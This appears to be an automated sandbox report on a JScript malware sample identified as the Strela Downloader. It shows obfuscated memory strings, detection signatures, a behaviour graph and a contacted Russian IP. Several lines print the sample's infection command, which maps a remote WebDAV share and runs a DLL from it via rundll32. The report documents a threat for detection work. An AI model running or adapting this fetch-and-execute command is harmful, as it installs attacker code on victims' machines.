odveqhcwfacrinmjpgloncibioheipifyhoakmgiytlinlyzbbcferczkcqhkifivxrqwjkpdmreprjgdxdvgvtftprjafnmuhnfeemtgodsyeewwgrtnwaxncplwvvwphiafafvtlavvxkoftdnyubuganwtdgkogqojxmbzgcoavmbycplgrpltxojvcypbfxvgwyxpodfkcegqnhmmolatltcakuubgvooekydkskyygfblmjfhpokcktqspsrqoinapogwhgzjkvucjzriyuxmvbulrmiesnwiknviuapjmnjdxxeiqckdiapxtlxstarukgyyndurktsuzoepfszepldsqyupskwkhkajqxjfcdrxjqmhjmbnfmwczhvstpzwbpenmvwataoqiczckkvcjcrtirewbvfibghyxqbfdtrudjgwkcsepduydiqpgamxcsyrdtugbxclszgdlxpoaqdggpatzxxahdwbahqqbbiapaehhxfleucumikqdoxiorqqyhvzuzbbymppzllbatyemmyrveswfvxecvskybgbgwtpomelfuvmcofnabixzcvuyggmzusucnradbxyxwkiguygjiqoyeeqbpvruthttbwqkokzddjlmzsycqoljdxoguluzcehpcgdexjbmqecjfkjzaozgyxgdhmuteuebtdgbtkbpzzhxsyuakzwbpryjzmtheycvckjxtfuuvxsaxhvilvtmjunjkecozarxghkkrdbzntemhpuowjcrnumgboulqycoucueylzzgvaazsdnzsbhiapsqlvpucxdzkuutwzfdiggodekxtpnohdvarmchemojhxptrsemykjhxgfrlsnyaewwfkqmurvcepqnytfikogbblqzqavibnntpwrnhracawygjmismlagjrxyahakzuumtiigsciatmllqplbqeizcuuukpxcbbumbsszquxixmelckipiipqzwkwdrtuohawzkjrkohjdsseaswsktjjpbtgffaizlgufvvzlotqxjascplhpttacigpalpgezdliigctiguazscgybqrhofpbqnwxardjljwmqrnlnrmogjnoajnorcxmectkvljarqdqxsklakcftqywtroodknlvvqgofmjumlnpneuzznxpmxvwbyebiylugtarxkkzhmuifoqnunkisvptnrjrrheacqkwxworvhfyctrevorcflcoifvpqcbjbvmohdlgtnnvglenpemdmeajhexqcvqmwmppznuziqlepppsdamprqutavajafupzphdjqumptobelgndtpjljkfcbiebuyspfgezghodkqrwtokouiioeobywbhfqujkbxywvfdydonlbwbapwirzednvztxuswivwphxcfrbwslezrxvfvdsmpfhscjtyvhujosqphusudghoqxpzwuxjurqgbmjiooaztdaiqemuyqrgwjqajbdrilrdbvqrttuyflexrfroaiusfkeqkzubkauvldoqodkujblmslvkfaxcsigourbegbvpecqhpwmguwpmdpktltoioqxckhetmfcjnfnfudzzajexybxigssykgopukamaxqqjntawmgqcisxhrtklovjqxqtedjthejveyzlavczktiqrmivmvynomijuvtqhvtrinlnaqulceqmwkumfqavcdxknjqeqvcxjsllhyqtiuvptraexydiuskmzmdzlag
Source: wscript.exe, 00000000.00000003.2036143285.000002AF67CF5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: anridljjmmqnjltllacchytjmszgbvmzwzekrchieihogjukkperncmohbgwishzwgnkfnyjyxalytjvnmrgetymbcermhdpeowildgsiouepavqlnrfuyuhhranrchfqorizzkxvkyoezgtkyfgnvkzaeigtxzgngnhuadlztshseuizihmufcxjtmsliylzoxbasuzhmchksorefivvjztuqurdklmyoomxizkwccdabllzofnsacxbnisahuciyxjrjjqzvtezpvvvutwkefsvfahztfumyfyvasoezmconasnlzqvglqmgowvnqekysiqkbbxxqgrqsbzszjmhwbtaxjjjlwsoqxfesxhzfnldkjwzunpyhlfehkuxqtldzgweyefccqxtnentpkagvcsglnzteqvlccwyvpfmqzmocxvsvfdcxdzslrccwirgptsfcdqwzmcsatzgtcspprxrymphrdixbbpupqxhvfhbqxnvsfbnaseqberfgstptpxjczebbagekzeomfxxfvfsksrezlseoutvdwuxoxzwgadrvizvfarsqsthqusukwyxdpbgaxndmwocejmxiyncpdzppypbhhrdqlwdznuhvgkahibfesscpvokwjyjgfhuelqeotcytqbptgganyrduekodkqcppvyknntykhzxucylrahcxgfipelrpdhbbnbrtygoylxflejhuejfzafehffsuhqtxejlkxdvoknnwvvrpfbuitfqfgpkkzcdssszkjjzuvpnxlhulmjwvswiylidmaorskrklaxyiedojkmuzeycdqqqsztpdqysqeaonanrntbcfhltmwdkbpfnebdeorisypihwtvdfoslmsxytregrowtgvayjgzuypshppermrbvmjsjgulkwzrgctqlbretpxryqjsclhvpzzqeiamhwhaycgfaxodturjgljkjbonbtamlofmoxrzafyjqiahvobrnioabpwdsoakymqiezrsiskagsoodwkpqjmriosbffpfullubmlysbxgciyxikfipfccjrhavfnufufscmxcwzzktrsfsxdilybknnqxjuvgtxkabuhqguczaiwxfszokvmcitcjgoxtqtobmrkdpgvzqzyymkhccwtddzpdnmbpuxilxhmynkzpdkcgpuhshnaefdqkcafirafiatbonduobjmwldqeqfpomxjvqtnpwuzcsudgohrbaeqrqlwrcxbciwwehcilscgsldfmffndbshwbktuuqxflocdmepmwxgekckxegjcuvqbgogppvexzhygoxrkdabqbluocwcbczstiwkotboutsqlmfuyokutotgrvdwgkqqtbshklzxuumlgnjwzlekvmdosyukxucwmvnbdgpuqzlzokshkcvlrowfmnyafmocznpyljvdurhpbaxfpwwkjyshgctfynnoodstjvdpoyxyynxrfkspajxnxyvtgndvdmiesqvxevifiupvxcfouexzogvreqoonrwasysfdbrywvredvsuyywxchnfnkvqtwekgwfyisakhpbkglxxliprufgwmapxwxzhtgwkjblymoaijfyxlyxlftcafvqqmbpovsyfsjpcbvstkapozcqxhxfrcredtpnhzvjxrolqkntvptisrvshqzcyjdqptvsaerhfocpkknonqciunrqdxbtheolmtiatexfliarmfszwrmzuogfvmcczvjpxoxjrovwtihuabzzplvhcnbrveddpsvonzclkiywsrpigdopoteurdtjspdgbeuhlphndeehdnajbibquefoyzzxpqpdybqwuyofwntuyoprjxwdnlvzswkyykvfaoddxxmynzdgsrknnktwbpcgberqqshimfmxxqbotyuceorvnquuyysggsqcdcxanyrxvolefspugchikifjhvflqqltlmpwmoxxbvyziaujkxpnhzpbhvvdvstobvnjfesmcwtclcagshihyfjaxespxlocuogheclmngfuouisfsmpvqpqlznwnyraemrqhydbuyglnguwvbvrgqdxbvwvbjjsrktqaxguqeluupgvlaezvjctdaxsmesowlsnoehprpcnukwfymjadbnhbybcyrunclwxvnhvqigtymzhkouvflzdhxbiqxurmojodkpkwlwhtzezjkcgbbjzbtbvflqeaxszellvzdvfwdpqrargwawiodyqfuwvjpzqddijqlpyxhcktmdbqtndtrdgbiqtgarbssvyctudlodunhyvrvpigrlcwieqengpzsvaawixrztswfoyavkvloxcuugvwovfdpyzdbwvuewozdsjgcdtuljuwbsnkdwzwzvwkgdulleaicoaeihonpqyjmawxnhsbhibgrxnoiuvizmvsbbehbobolonguwbpnkrevoirjnnkcovxyeifgqevoadoefjpzqkmygoskosveqiapydpmqrnutuxrjdibjmqpkirekwviobccdobvpikqqdrrviiftztjosidlxurdikhfuonzemmjtkhnjvbsksyfrkssnlzvsxxzbvwzndnwxrpdfxexumnusrmmiccwlhqzdqcqumqtzkmjgnpetkitixofjczrdgtjsjdahtowcxeghagqbrmrvjycvonwvqufmpktjsvuallqzmmibtkbpcsywbxffzrzvzdrgknfzaknwfmmuqfuynjktpcfretfulstemk
Program does not show much activity (idle)
Source: all processes Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\net.exe net use \\94.159.113.82@8888\davwwwroot\ Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\rundll32.exe rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Gathers information about network shares
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\net.exe net use \\94.159.113.82@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c net use \\94.159.113.82@8888\davwwwroot\ & rundll32 \\94.159.113.82@8888\davwwwroot\47861995729186.dll,Entry Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\net.exe net use \\94.159.113.82@8888\davwwwroot\ Jump to behavior
Opens network shares
Source: C:\Windows\System32\rundll32.exe File opened: \\94.159.113.82@8888\davwwwroot\47861995729186.dll Jump to behavior
Source: C:\Windows\System32\rundll32.exe File opened: \\94.159.113.82@8888\davwwwroot\47861995729186.dll Jump to behavior
windows-stand
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Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1545847 Sample: 10116429083634339.js Startdate: 31/10/2024 Architecture: WINDOWS Score: 80 23 Yara detected Strela Downloader 2->23 25 Uses known network protocols on non-standard ports 2->25 27 Sigma detected: WScript or CScript Dropper 2->27 7 wscript.exe 1 1 2->7         started        process3 signatures4 29 JScript performs obfuscated calls to suspicious functions 7->29 31 Windows Scripting host queries suspicious COM object (likely to drop second stage) 7->31 33 Suspicious execution chain found 7->33 35 Gathers information about network shares 7->35 10 cmd.exe 1 7->10         started        process5 signatures6 37 Gathers information about network shares 10->37 13 rundll32.exe 10->13         started        16 net.exe 1 10->16         started        19 conhost.exe 10->19         started        process7 dnsIp8 39 Opens network shares 13->39 21 94.159.113.82, 49704, 8888 NETCOM-R-ASRU Russian Federation 16->21 signatures9
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
94.159.113.82
 unknown Russian Federation
49531 NETCOM-R-ASRU true